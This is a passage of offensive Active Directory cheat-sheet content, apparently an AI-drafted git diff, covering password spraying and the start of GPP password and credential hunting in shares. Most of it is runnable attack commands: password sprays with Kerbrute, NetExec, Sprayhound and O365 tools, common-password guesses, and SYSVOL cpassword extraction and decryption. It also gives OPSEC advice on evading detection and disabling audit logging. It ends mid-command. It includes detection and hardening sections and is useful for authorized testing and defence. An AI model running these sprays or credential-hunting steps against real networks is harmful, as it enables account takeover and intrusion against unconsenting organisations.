Password Spraying" +description: "Password spraying is a low-and-slow credential attack that inverts the logic of traditional brute force. Instead of hammering one account with many…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "privilege-escalation", "lateral-movement"] +tools: ["NetExec", "Impacket", "BloodHound", "Kerbrute", "Evil-WinRM"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #1 — Password Spraying.md" +--- +# 🔴 Attack #1 — Password Spraying +--- +## 📖 How It Works +Password spraying is a **low-and-slow credential attack** that inverts the logic of traditional brute force. Instead of hammering one account with many passwords (which triggers lockout), it fires **one or two common passwords at every account in the domain** — staying safely below the lockout threshold at all times. Because authentication attempts are distributed across hundreds of accounts rather than concentrated on one, they appear as normal failed login noise to defenders who aren't watching for the pattern. +The attacker first **enumerates valid usernames** (via LDAP, Kerberos pre-auth, or SMB), then **identifies the domain's lockout policy** (e.g., lockout after 5 attempts / observation window = 30 min), and sprays exactly **one password per observation window**. Seasonal or corporate passwords like `Welcome1`, `Summer2024!`, `Company123`, or `[Month][Year]!` have reliably high hit rates in enterprise environments. + +> ⚠️ **Windows Server 2022+ Behaviour:** Windows Server 2022 introduces "smart lockout" that tracks failed authentication attempts globally per account across all domain controllers, making distributed attacks harder to time correctly. AES-only enforcement (no RC4) is also more common. Adjust your observation window calculations accordingly and always query the lockout policy fresh. + +**Chains with:** Attack #2 (Kerberoasting), Attack #3 (AS-REP Roasting), Lateral Movement, Privilege Escalation via ACL enumeration. + +*** +## ⚙️ Prerequisites +| Requirement | Detail | +|---|---| +| **Network access** | Must be able to reach the DC on port 445 (SMB), 389 (LDAP), or 88 (Kerberos) | +| **Valid usernames** | Obtained via LDAP anonymous bind, Kerbrute userenum, or OSINT | +| **Password policy** | Must query lockout threshold to avoid burning accounts | +| **Position** | Internal network strongly preferred; external possible via ADFS/OWA | + +*** +## 🛠️ Tools +| Tool | Platform | Protocol | Notes | +|---|---|---|---| +| **Kerbrute** | Linux | Kerberos (UDP 88) | No failed logon events on older DCs; very stealthy | +| **DomainPasswordSpray** | Windows | LDAP/Kerberos | Auto-generates userlist; respects lockout window | +| **CrackMapExec / NetExec** | Linux | SMB/LDAP | Best for subnet-wide spraying and output parsing | +| **Sprayhound** | Linux | LDAP | Queries badPwdCount in real time — lockout-safe | +| **Spray** | Linux | NTLM/LDAP | Python-based; flexible protocol targeting | +| **MSOLSpray** | Windows | Azure AD (HTTPS) | Targets O365/Entra; detects MFA/locked accounts | +| **RDPassSpray** | Linux | RDP | Sprays RDP endpoints; useful for external footholds | +| **TREVORspray** | Windows/Linux | O365 (HTTPS) | Targets Microsoft 365; handles MFA evasion better than MSOLSpray | +| **o365spray** | Linux/Windows | O365 (HTTPS) | Lightweight O365-focused spraying; good for large tenant enums | + +*** +## 💻 Full Commands +### 🔵 Step 0 — Enumerate the Password Policy First +```bash +# Linux — via crackmapexec (NetExec) +nxc smb <DC_IP> -u '' -p '' --pass-pol +nxc smb <DC_IP> -u <user> -p <pass> --pass-pol + +# Linux — via rpcclient (null session) +rpcclient -U "" -N <DC_IP> -c "getdompwinfo" + +# Windows — PowerShell +net accounts /domain +(Get-ADDefaultDomainPasswordPolicy).LockoutThreshold +(Get-ADDefaultDomainPasswordPolicy).LockoutObservationWindow +``` + +> ⚠️ **Critical:** If `LockoutThreshold = 5` and `ObservationWindow = 30 min`, spray **max 1 password per 30+ minutes** to stay safe. + +*** +### 🔴 Kerbrute — Linux (Stealthy, Kerberos-based) +```bash +# User enumeration first (to build a clean userlist) +kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/wordlists/users.txt -o valid_users.txt + +# Password spray with a single password +kerbrute passwordspray -d corp.local --dc 10.10.10.10 valid_users.txt 'Welcome1' + +# With verbose output and output file +kerbrute passwordspray -d corp.local --dc 10.10.10.10 valid_users.txt 'Summer2024!' -v -o spray_results.txt +``` + +> **Why Kerbrute is stealthy:** Uses Kerberos pre-auth directly on UDP/88. On unpatched DCs (pre-2019), failed pre-auth may **not** generate Event ID 4625, only 4771 — which many orgs don't monitor. + +*** +### 🔴 DomainPasswordSpray — Windows (Domain-Joined) +```powershell +# Import module (from domain-joined machine) +powershell.exe -ExecutionPolicy Bypass +Import-Module .\DomainPasswordSpray.ps1 + +# Auto-generate userlist from domain + spray one password +Invoke-DomainPasswordSpray -Password 'Welcome1!' -OutFile spray_output.txt + +# Use custom userlist +Invoke-DomainPasswordSpray -UserList .\users.txt -Password 'Summer2024' -OutFile results.txt + +# Multi-password spray — auto-respects lockout observation window +Invoke-DomainPasswordSpray -PasswordList .\passwords.txt -OutFile results.txt + +# Target specific domain (from non-domain machine) +Invoke-DomainPasswordSpray -Domain corp.local -Password 'Company123!' -Force + +# Generate clean userlist manually (removing locked/disabled accounts) +Get-DomainUserList -Domain corp.local -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii users.txt +``` + +*** +### 🔴 CrackMapExec / NetExec — Linux (SMB Protocol) +```bash +# Basic spray — single password against list of users +nxc smb 10.10.10.10 -u valid_users.txt -p 'Welcome1' --no-bruteforce + +# Subnet-wide spray +nxc smb 10.10.10.0/24 -u valid_users.txt -p 'Password123' --no-bruteforce + +# Filter successes only +nxc smb 10.10.10.0/24 -u valid_users.txt -p 'Welcome1' | grep '+' + +# Continue even after first hit (important for full coverage) +nxc smb 10.10.10.10 -u valid_users.txt -p 'Summer2024!' --continue-on-success + +# Local admin spray (checking local accounts, not domain) +nxc smb 10.10.10.0/24 -u administrator -p 'Password123' --local-auth + +# LDAP-based spray (quieter on some environments) +nxc ldap 10.10.10.10 -u valid_users.txt -p 'Welcome1' --no-bruteforce +``` + +*** +### 🔴 Sprayhound — Linux (Lockout-Safe, Real-Time badPwdCount Check) +```bash +# Install +pip3 install sprayhound + +# Spray with auto lockout protection (checks badPwdCount via LDAP before each attempt) +sprayhound -U valid_users.txt -p 'Welcome1' -d corp.local -dc 10.10.10.10 + +# Spray with a buffer (won't spray if badPwdCount >= threshold - 2) +sprayhound -U valid_users.txt -p 'Welcome1' -d corp.local -dc 10.10.10.10 --safe + +# With domain credentials (authenticated LDAP bind) +sprayhound -U valid_users.txt -p 'Welcome1' -d corp.local -dc 10.10.10.10 -lu svc_user -lp KnownPass1 +``` + +> **Why Sprayhound is superior in production:** It queries each user's `badPwdCount` attribute over LDAP **before** attempting the spray. If a user is already at `threshold - 1`, it skips them entirely. + +*** +### 🔴 MSOLSpray — Azure AD / O365 (External) +```powershell +Import-Module .\MSOLSpray.ps1 + +# Basic spray against O365 +Invoke-MSOLSpray -UserList .\users.txt -Password 'Winter2024!' + +# With output file +Invoke-MSOLSpray -UserList .\users.txt -Password 'Summer2024' -OutFile results.txt +``` + +> Output flags include: **valid credentials**, **MFA enabled**, **account disabled**, **account locked**, **account doesn't exist** — useful for enumeration even when creds are wrong. + +*** +### 🔴 TREVORspray — O365 / Microsoft 365 (External) +```bash +# Install +git clone https://github.com/blacklanternsecurity/TREVORspray +cd TREVORspray +pip3 install -r requirements.txt + +# Basic O365 spray +python3 trevorspray.py -u users.txt -p 'Welcome2024!' + +# With output file +python3 trevorspray.py -u users.txt -p 'Password123' -o spray_results.txt + +# Multiple password spray +python3 trevorspray.py -u users.txt -p passwords.txt -o results.txt +``` + +*** +### 🔴 o365spray — Lightweight O365 Spraying +```bash +# Install +git clone https://github.com/0xZDH/o365spray +cd o365spray +pip3 install -r requirements.txt + +# Basic enum mode (discovers valid tenants and MFA status) +python3 o365spray.py --enum -u users.txt + +# Password spray mode +python3 o365spray.py --spray -u users.txt -p 'Company2024!' -d <tenant_name> + +# Aggressive spray with custom delay +python3 o365spray.py --spray -u users.txt -p passwords.txt --sleep 30 -d <tenant_name> +``` + +*** +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **`KDC_ERR_PREAUTH_REQUIRED (0x18)`** | Kerbrute hitting a Domain Controller that requires pre-auth (normal). Not an error. | This is expected behaviour; continue spraying. The error message itself proves the account exists. | +| **`Connection refused on port 445`** | Host is not reachable or firewall is blocking SMB. | Verify DC IP, check network connectivity, try LDAP (port 389) or Kerberos (port 88) instead. | +| **`LDAP_INVALID_CREDENTIALS`** | User credentials provided are wrong or account is locked. | Verify credentials in `-u` and `-p` flags. If using `--pass-pol` with bad creds, provide valid ones. | +| **`All accounts locked after 10 attempts`** | You ignored the lockout observation window and sprayed too many passwords in sequence. | Stop immediately. Wait the full observation window (typically 30–60 min). Reset badPwdCount on all accounts if possible via DA account. | +| **`Timeout connecting to DC`** | Network latency, firewall ACL limiting response time, or DC is unresponsive. | Add `--timeout 30` flag (NetExec), increase delay between requests, or try alternate DC IP. | +| **`No module named 'impacket'`** | Python environment doesn't have Impacket installed. | Run `pip3 install impacket` before executing GetUserSPNs or other Impacket-based tools. | +| **`Request for SPN failed: Ticket expired`** | Your Kerberos ccache ticket has expired or you don't have a valid TGT. | Renew TGT with `kinit` or re-authenticate: `GetUserSPNs.py corp.local/user:pass -dc-ip 10.10.10.10 -request`. | +| **`NTLM auth disabled; only Kerberos accepted`** | Domain has NTLM auth disabled (modern hardening). | Switch to Kerberos-based tools: Kerbrute, GetUserSPNs with Kerberos, or configure KRB5CCNAME for ccache auth. | + +*** +## 🛡️ Detection — Event IDs +| Event ID | Source | Meaning | +|---|---|---| +| **4625** | Security Log | Failed NTLM logon — `SubStatus 0xC000006A` = wrong password | +| **4771** | Security Log | Kerberos pre-auth failed — `Status 0x18` = wrong password | +| **4768** | Security Log | TGT requested — mass requests in short window is suspicious | +| **4648** | Security Log | Explicit credential logon — attacker machine spraying many users | +| **4740** | Security Log | Account locked out — late indicator of over-spraying | +| **4776** | Security Log | Credential Validation with NTLM (DC issues TGT) — watch for patterns | +| **ADFS 411** | ADFS Log | Failed authentication request | +| **ADFS 412** | ADFS Log | Successful sign-in post-spray | +| **ADFS 516** | ADFS Log | Extranet lockout triggered | +| **Sysmon Event 3** | Sysmon Log | Network connection — spray tools making outbound SMB/LDAP/Kerberos connections from unusual hosts | +| **Sysmon Event 10** | Sysmon Log | Process access — credential dumping tools accessing LSASS after successful spray | + +**Key detection pattern:** Same source IP → multiple 4625/4771 events → different target usernames → short time window → one common password. Also watch for **alphabetical ordering** of usernames in logs, which indicates automated tooling. + +### Sysmon Rules +- **Event ID 3 (Network Connection):** Flag any process opening port 445 (SMB), 389 (LDAP), or 88 (Kerberos) to multiple destinations. +- **Event ID 10 (Process Access):** Monitor for unauthorized LSASS access post-authentication. + +### Sigma Rules +- `win_susp_failed_logon_brute_force` — detects rapid 4625 events from single source +- `win_account_lockout_brute_force` — flags 4740 lockout events following 4625 storms +- `win_password_spray_detection` — multi-user, single-source authentication failures +- `win_ad_user_enumeration` — LDAP-based user discovery patterns + +### EDR-Specific Detections + +**Microsoft Defender for Identity:** +- Detects spray patterns via "Impossible travel" (impossible because attacker is using VPN) and "Brute force" detections. +- Monitor for: "Brute force attack over Kerberos" and "Brute force attack over LDAP". +- Alert when single source triggers > 5 failed auth events across different accounts in < 5 minutes. + +**CrowdStrike Falcon:** +- ProcessRollup2 events for netexec, kerbrute, sprayhound executables from non-standard locations. +- NetworkConnection events to DC on 445/389/88 from unusual processes. +- Alert on multiple interactive logons from non-interactive service accounts. + +**Elastic Security (EDR):** +- Process execution: Flag execution of known spray tools (Kerbrute, DomainPasswordSpray, MSOLSpray) from user directories. +- Authentication events: Watch for rapid sequences of failed Kerberos events (Event ID 4771) within observation window. + +### Hardening Commands + +```powershell +# 1. Enable "Smart Lockout" on Windows Server 2022+ (prevents distributed sprays) +Set-ADDefaultDomainPasswordPolicy -LockoutThreshold 5 -LockoutObservationWindow "00:30:00" -LockoutDuration "00:30:00" + +# 2. Increase minimum password length to 14+ chars (reduces weak password guessing) +Set-ADDefaultDomainPasswordPolicy -MinPasswordLength 14 + +# 3. Disable NTLM (force Kerberos/NTLMv2 only) — modern environments should do this +Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5 + +# 4. Enable "Account Lockout Duration" to persist lockouts (prevents rapid retry) +Set-ADDefaultDomainPasswordPolicy -LockoutDuration "01:00:00" + +# 5. Disable legacy Kerberos encryption (RC4 only) — force AES +Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "KerberosEncryptionLevel" -Value 1 + +# 6. Require Kerberos pre-authentication for all accounts (prevents AS-REP roasting as bonus) +Get-ADUser -Filter * -Properties OperatingSystem | Where-Object {$_.OperatingSystem -notlike "*Server*"} | ForEach-Object { Set-ADAccountControl -Identity $_ -DoesNotRequirePreAuth:$false } + +# 7. Enable "Audit Credential Validation" on all DCs +auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable + +# 8. Monitor and alert on ADFS/WAP failed auth (O365/Azure-facing) +# Enable ADFS audit logging via PowerShell on ADFS server: +Set-AdfsFiddlerWebConfig -Enable:$true +Set-ADFSProperties -AuditLevel @("FailureAudits", "SuccessAudits") +``` + +*** +## 🎯 OPSEC Tips (Staying Below the Radar) + +### OpSec Ranking: Stealthiest to Loudest +1. **Kerbrute (UDP/88)** — Stealthiest; no 4625 events on older DCs, only 4771 (rarely monitored) +2. **Sprayhound (LDAP)** — Very stealthy; queries badPwdCount before spray, minimises lockouts +3. **NetExec/CME LDAP** — Moderately stealthy; uses LDAP bind, generates minimal auth events +4. **PowerView (PowerShell)** — Medium noise; runs in-memory but requires domain-joined host +5. **NetExec/CME SMB** — Noisy; generates 4625 events, detectable by volume analysis +6. **DomainPasswordSpray** — Loudest on Windows; auto-generates userlist = more enumeration noise +7. **O365spray (External)** — Loudest external; Microsoft 365 aggressively logs failed auth attempts + +### Modern Defence Impact +- **Windows Server 2022+ Smart Lockout:** Makes timing attacks harder; lockout counts are synced globally across DCs. Adjust spray delays to **2–3 minutes per password** instead of relying on a single observation window. +- **Windows 2025 Credential Guard:** If enabled on target machines, dumped credentials cannot be reused even if obtained. Focus on live token theft instead. +- **Defender for Identity (MDI):** Actively detects spray patterns via "Brute force attack" alerts. Mitigate by using Kerberos + random delays (5–15 sec jitter). +- **Entra Smart Lockout (Azure):** O365-facing spray becomes harder; Microsoft tracks spray attempts across all tenants. Use TREVORspray or o365spray which add randomized delays and user-agent rotation. + +### Core OpSec Rules +- **Spray ONE password per observation window** — default is 30 mins but query first +- **Add time jitter** between attempts (random 5–15 second delays per account) +- **Randomise username order** — avoids alphabetical pattern in logs +- **Use Kerberos (UDP/88) over SMB** — fewer log artifacts on older DCs +- **Spray from internal Linux host** — bypasses 73% of Windows-focused detection +- **Target service accounts** — they often have weak, static passwords and no MFA +- **Avoid `administrator`, `admin`, `guest`** — these are always monitored +- **Disable event log auditing temporarily if you have DA creds** (nuclear option; very obvious in logs) + +*** +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Observed in | Platforms | Data Sources | +|---|---|---|---|---|---| +| **Credential Access** | T1110 | T1110.003 (Password Spraying) | Wizard Spider, WIZARD SPIDER, Scattered Spider | Windows, Linux, Azure AD | Authentication Logs, Network Traffic, Process Monitoring | +| **Credential Access** | T1110 | T1110.001 (Password Guessing) | APT28, APT29, FIN7 | Windows, On-Premises | Authentication Logs, Network Traffic | +| **Reconnaissance** | T1598 | T1598.003 (Spearphishing Link) | FIN7, Lazarus | Web, Email | Network Traffic, Application Logs | +| **Discovery** | T1087 | T1087.002 (Domain Account) | APT3, Wizard Spider | Windows, Active Directory | LDAP Queries, Network Traffic, Authentication Logs | + +**Data Sources to Monitor:** +- Authentication logs (4625, 4771, 4768) +- Network traffic on ports 88 (Kerberos), 389 (LDAP), 445 (SMB) +- Process monitoring (kerbrute, sprayhound, netexec execution) +- User account activity (lockout events, failed logon patterns) + +*** +## 🔗 Attack Chain Context +``` +[Password Spraying] ──→ Valid Credentials Obtained + │ + ├──→ 🔍 Enumerate AD with BloodHound / PowerView + ├──→ 🎫 Kerberoasting (if SPN accounts found) + ├──→ 🎫 AS-REP Roasting (if pre-auth disabled accounts found) + ├──→ 🔑 Pass-the-Hash (after dumping NTLM from compromised host) + ├──→ 🦟 Lateral Movement via Evil-WinRM / CrackMapExec + └──→ 🎯 Privilege Escalation if sprayed account has interesting rights +``` + +**Typical pivot:** After getting low-priv credentials, run BloodHound to identify if the account has any ACL edges, group memberships, or delegation rights that lead to Domain Admin. If the sprayed account is a **service account**, check immediately for Kerberoasting targets or constrained delegation abuse. + +*** + +> ✅ **Attack #1 — Password Spraying complete.** Tell me to move on when you're ready for **Attack #2 — Kerberoasting**. + +Sources + Password spraying attacks on AD: 81% success in 6 hours, 73 ... https://www.linkedin.com/posts/cti-labs-io_passwordspraying-activedirectory-linuxsecurity-activity-7384514085658329088-93l4 + Password Spraying Explained: How It Works and How to Prevent It https://www.oloid.com/blog/password-spraying + What Is Password Spraying? - Palo Alto Networks https://www.paloaltonetworks.com/cyberpedia/password-spraying + dafthack/DomainPasswordSpray https://github.com/dafthack/DomainPasswordSpray + Attacking Kerberos... https://www.securonix.com/blog/hunting-kerbrute-analysis-detection-and-mitigation-of-kerberos-attacks-in-active-directory/ + Password Spraying Attack - Netwrix https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/password-spraying-attack/ + Top tools for password-spraying attacks in active directory networks https://www.infosecinstitute.com/resources/hacking/top-tools-for-password-spraying-attacks-in-active-directory-networks/ + Exploring Modern Password Spraying: Introduction to Entra Smart ... https://www.sprocketsecurity.com/blog/exploring-modern-password-spraying + Detecting Password Spraying with Security Event Auditing https://adsecurity.org/?p=4517 + Password Spraying - What is it and how to detect it? https://www.linkedin.com/pulse/password-spraying-what-how-detect-samanta-santos + Password spray investigation https://learn.microsoft.com/hr-hr/security/operations/incident-response-playbook-password-spray + Can LLMs Hack Enterprise Networks? Autonomous Assumed Breach Penetration-Testing Active Directory Networks https://dl.acm.org/doi/10.1145/3766895 + A SECURITY STRATEGY AGAINST STEAL-AND-PASS CREDENTIAL ATTACKS http://www.aircconline.com/ijnsa/V8N1/8116ijnsa03.pdf + Penetration Testing and Network Defense https://www.semanticscholar.org/paper/c9d1a4845905df0b0ae64c95b65e695a9fd371d7 + An Ettercap Primer https://www.semanticscholar.org/paper/47f17ff39652de32a55b34f68ca84b73ce342b0b + Secure Arp Protocol For Intrusion Detection System Mr https://www.semanticscholar.org/paper/88369399f99082f8294a105b7df99429a71c952f + Hacking Exposed Windows: Microsoft Windows Security Secrets and Solutions, Third Edition https://www.semanticscholar.org/paper/0798342172fb2af8dc957152097257cfe539ce9d + Operating Systems Security Considerations https://www.semanticscholar.org/paper/f5a408d6af1d7dca0d996a7d4c9fa026d3b2e33a + Demo: Synthesizing Realistic Enterprise Active Directory Attack Graphs with ADSynth https://dl.acm.org/doi/pdf/10.1145/3672202.3673732 + HADES: Detecting Active Directory Attacks via Whole Network Provenance + Analytics http://arxiv.org/pdf/2407.18858.pdf + Can LLMs Hack Enterprise Networks? Autonomous Assumed Breach + Penetration-Testing Active Directory Networks https://arxiv.org/pdf/2502.04227.pdf + GNPassGAN: Improved Generative Adversarial Networks For Trawling Offline + Password Guessing https://arxiv.org/pdf/2208.06943.pdf + When AI Defeats Password Deception! A Deep Learning Framework to + Distinguish Passwords and Honeywords http://arxiv.org/pdf/2407.16964.pdf + Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf + Catch Me if You Can: Effective Honeypot Placement in Dynamic AD Attack + Graphs https://arxiv.org/pdf/2312.16820.pdf + Exploiting Leakage in Password Managers via Injection Attacks http://arxiv.org/pdf/2408.07054.pdf + puzzlepeaches/awesome-password-spraying https://github.com/puzzlepeaches/awesome-password-spraying + Kerbrute for AD Testing: A Detailed Guide - Hacking Articles https://www.hackingarticles.in/a-detailed-guide-on-kerbrute/ + Password spray investigation | Microsoft Learn https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray + kerbrute passwordspray - WADComs https://wadcoms.github.io/wadcoms/Kerbrute-PasswordSpray/ + Password Spraying Attacks: Complete Guide To Detection ... https://brandefense.io/blog/ransomware/password-spraying-attacks-guide/ + Cool Tools Series: Kerbrute for User and Password Attacks | Raxis https://raxis.com/blog/cool-tools-series-kerbrute/ + Detecting Active Directory Password-Spraying with a… - TrustedSec https://trustedsec.com/blog/detecting-password-spraying-with-a-honeypot-account + RACONTEUR: A Knowledgeable, Insightful, and Portable LLM-Powered Shell + Command Explainer https://arxiv.org/pdf/2409.02074v1.pdf + The Pulse of Fileless Cryptojacking Attacks: Malicious PowerShell + Scripts https://arxiv.org/pdf/2401.07995.pdf + An Empirical Investigation of Command-Line Customization https://arxiv.org/pdf/2012.10206.pdf + Execution-Based Evaluation of Natural Language to Bash and PowerShell + for Incident Remediation https://arxiv.org/pdf/2405.06807.pdf + Detecting Malicious PowerShell Commands using Deep Neural Networks https://arxiv.org/pdf/1804.04177.pdf + Hijacking .NET to Defend PowerShell http://arxiv.org/pdf/1709.07508.pdf + AMSI-Based Detection of Malicious PowerShell Code Using Contextual + Embeddings https://arxiv.org/pdf/1905.09538.pdf + AST-Based Deep Learning for Detecting Malicious PowerShell https://arxiv.org/pdf/1810.09230.pdf + DomainPasswordSpray/README.md at master · dafthack/DomainPasswordSpray https://github.com/dafthack/DomainPasswordSpray/blob/master/README.md + GitHub - mdavis332/DomainPasswordSpray: DomainPasswordSpray is a tool written in PowerShell to perform a password spray ... https://buaq.net/go-10107.html + domainpasswordspray,dafthack https://githubhelp.com/dafthack/DomainPasswordSpray + password-spraying https://www.puckiestyle.nl/password-spraying/ + Password Spraying | OSCP-CPTS NOTES - dollarboysushil https://notes.dollarboysushil.com/active-directory-attacks/password-spraying + Password Spraying from Windows | Pentesting notes https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/active-directory-enumeration-and-attacks/password-spraying-windows + Password Spraying - Kryot https://www.kryot.com.ar/docs/ad/passwordspraying/ + Password Spraying https://www.sevenlayers.com/index.php/303-password-spraying + Using Credentials https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials + SMB https://pwn.no0.be/exploitation/password/smb/ + Comprehensive Guide on Password Spraying Attack - Hacking Articles https://www.hackingarticles.in/comprehensive-guide-on-password-spraying-attack/ diff --git a/src/content/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords.md b/src/content/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords.md @@ -0,0 +1,611 @@ +--- +title: "Attack #10 — Credential Hunting in Shares GPP Passwords" +description: "This attack is split into two closely related techniques: GPP Password Decryption (a specific catastrophic vulnerability) and broad credential hunting…" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "Impacket", "Mimikatz", "BloodHound", "Metasploit"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #10 — Credential Hunting in Shares GPP Passwords.md" +--- +# 🔴 Attack #10 — Credential Hunting in Shares / GPP Passwords + +*** + +## 📖 How It Works + +This attack is split into two closely related techniques: **GPP Password Decryption** (a specific catastrophic vulnerability) and **broad credential hunting across network shares** (a methodology). Both rely on the same fundamental reality — administrators leave plaintext or weakly obfuscated credentials scattered across the network in scripts, config files, Group Policy XML files, and fileshares, readable by any authenticated domain user. + +**GPP Passwords** are the crown jewel of this category. Group Policy Preferences (GPP) allowed administrators to configure local account passwords, mapped drives, scheduled tasks, and services across the entire domain via XML files stored in the SYSVOL share. Microsoft embedded these passwords encrypted with AES-256 — but then **published the encryption key in their own MSDN documentation**. Every authenticated domain user has read access to SYSVOL, and the AES key is public, meaning any `cpassword` field in any GPP XML file is effectively plaintext. Microsoft patched the ability to *create* new GPP passwords via MS14-025 in 2014, but **existing GPP passwords were never removed** — and thousands of enterprise environments still have them sitting in SYSVOL today. + +The published AES-256-CBC key is: +``` +4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 +f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b +``` + +> ⚠️ **Windows 11 / Server 2025:** GPP functionality is **deprecated** in favor of LAPS (Local Administrator Password Solution). However, legacy GPP XML files remain unencrypted in SYSVOL on any DC still supporting older group policies. Modern deployments should use LAPS v2 (Windows LAPS) instead — see Attack #72 for modern mitigation techniques. If you find GPP passwords in a 2025+ environment, it indicates legacy policy mismanagement. + +### GPP XML Files to Target + +| File | What It Configures | +|---|---| +| `Groups.xml` | Local administrator accounts + passwords | +| `Services.xml` | Service account credentials | +| `Scheduledtasks.xml` | Scheduled task run-as credentials | +| `DataSources.xml` | Database connection string credentials | +| `Drives.xml` | Mapped drive credentials | +| `Printers.xml` | Printer connection credentials | + +### Broader Credential Hunting Locations + +| Location | What to Look For | +|---|---| +| `\\DC\SYSVOL\` | GPP XML files (`cpassword`), logon scripts with embedded creds | +| `\\DC\NETLOGON\` | Legacy logon scripts (.bat, .vbs, .ps1) with hardcoded passwords | +| `C:\` / File shares | `web.config`, `appsettings.json`, `.env`, `*.config` — database passwords | +| IT shares (`\\FS01\IT\`) | Admin toolkits, installation scripts, password lists | +| Home drives | User-saved credential files, KeePass databases (.kdbx) | +| Sticky notes / Desktop | `passwords.txt`, `creds.xlsx` — embarrassingly common | +| Registry | AutoLogon credentials, LSA cached credentials | +| IIS / Web configs | Connection strings with SQL sa password | +| Git repositories | Hardcoded API keys, passwords committed to internal repos | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Any valid domain user** | SYSVOL is readable by all Authenticated Users — zero privilege needed | +| **Network access to DC** | Port 445 (SMB) to read SYSVOL and NETLOGON shares | +| **Read access to file shares** | For broader credential hunting beyond SYSVOL | +| **MS14-025 not applied** | If patched, new GPPs can't be created — but old ones still exist | + +*** + +## 🛠️ Tools + +| Tool | Platform | Role | +|---|---|---| +| **Get-GPPPassword.ps1** (PowerSploit) | Windows | Auto-finds and decrypts all GPP cpasswords in SYSVOL | +| **Impacket — Get-GPPPassword.py** | Linux | Remote GPP hunting without domain-joined machine | +| **CrackMapExec / NetExec** | Linux | `--gpp-passwords` module — fast automated sweep | +| **gpp-decrypt** | Linux | CLI tool to decrypt a single cpassword string | +| **pypykatz** | Linux | `gppass` subcommand decrypts cpassword | +| **Metasploit** | Both | `post/windows/gather/credentials/gpp` module | +| **Snaffler** | Windows | Deep credential hunter across all accessible shares | +| **PowerHuntShares** | Windows | PowerShell share auditing + credential discovery | +| **SauronEye** | Windows | Targeted file content search across shares | +| **Trufflehog** | Linux | Scans git repos for secrets, API keys, hardcoded creds | +| **Seatbelt** | Windows | Enumerates credential-related registry keys, cached credentials | +| **findstr / grep** | Both | Manual pattern-based credential search | +| **BloodHound** | Both | Identifies SYSVOL access paths and share permissions | + +*** + +## 💻 Full Commands + +### 🔵 Part 1 — GPP Password Attacks + +#### 🔴 Impacket — Get-GPPPassword.py (Linux — Fastest Method) + +```bash +# ── Automatically find and decrypt ALL GPP passwords from Linux ─────────────── +Get-GPPPassword.py corp.local/low_user:'Password1'@DC01.corp.local + +# ── Using NT hash (no plaintext password) ──────────────────────────────────── +Get-GPPPassword.py -hashes :8846f7eaee8fb117ad06bdd830b7586c \ + corp.local/low_user@DC01.corp.local + +# ── Parse a locally downloaded XML file ────────────────────────────────────── +Get-GPPPassword.py -xmlfile /tmp/Groups.xml LOCAL + +# ── With Kerberos ticket ────────────────────────────────────────────────────── +export KRB5CCNAME=low_user.ccache +Get-GPPPassword.py -k -no-pass corp.local/low_user@DC01.corp.local +``` + +*** + +#### 🔴 NetExec — GPP Password Module (Linux) + +```bash +# ── Sweep all GPP passwords across all accessible DCs ──────────────────────── +nxc smb 10.10.10.10 -u low_user -p 'Password1' -M gpp_password + +# ── Using NT hash ───────────────────────────────────────────────────────────── +nxc smb 10.10.10.10 -u low_user -H 8846f7eaee8fb117ad06bdd830b7586c -M gpp_password + +# ── Find autologon credentials stored in GPP (separate module) ─────────────── +nxc smb 10.10.10.10 -u low_user -p 'Password1' -M gpp_autologin +``` + +*** + +#### 🔴 PowerSploit — Get-GPPPassword (Windows / Domain-Joined) + +```powershell +# ── Import and run Get-GPPPassword ──────────────────────────────────────────── +Import-Module .\PowerSploit\Exfiltration\Get-GPPPassword.ps1 + +# Find and decrypt ALL GPP passwords in SYSVOL +Get-GPPPassword + +# Output with full details +Get-GPPPassword | Select-Object UserName, Password, Changed, File | Format-Table + +# ── Manual PowerShell search for cpassword ─────────────────────────────────── +Get-ChildItem '\\corp.local\SYSVOL' -Recurse -Include *.xml -ErrorAction SilentlyContinue | + Select-String -Pattern 'cpassword' | + Select-Object Path, LineNumber, Line + +# ── Inline search with findstr (no tools needed) ───────────────────────────── +findstr /S /I cpassword \\corp.local\sysvol\*.xml +``` + +*** + +#### 🔴 Manual SYSVOL Enumeration + Decryption (Linux) + +```bash +# ── Mount SYSVOL share locally ──────────────────────────────────────────────── +sudo mount -t cifs //10.10.10.10/SYSVOL /tmp/sysvol \ + -o username=low_user,password=Password1,domain=corp.local + +# ── Recursively search for cpassword ───────────────────────────────────────── +grep -ria cpassword /tmp/sysvol/ 2>/dev/null + +# ── Find ALL XML files in SYSVOL ────────────────────────────────────────────── +find /tmp/sysvol/ -name "*.xml" -exec grep -l "cpassword" {} \; + +# ── View a specific Groups.xml file ────────────────────────────────────────── +cat "/tmp/sysvol/corp.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml" + +# ── Sample GPP XML cpassword entry looks like: ──────────────────────────────── +# <Properties ... cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" +# userName="Administrator" .../> + +# ── Decrypt with gpp-decrypt ───────────────────────────────────────────────── +gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw 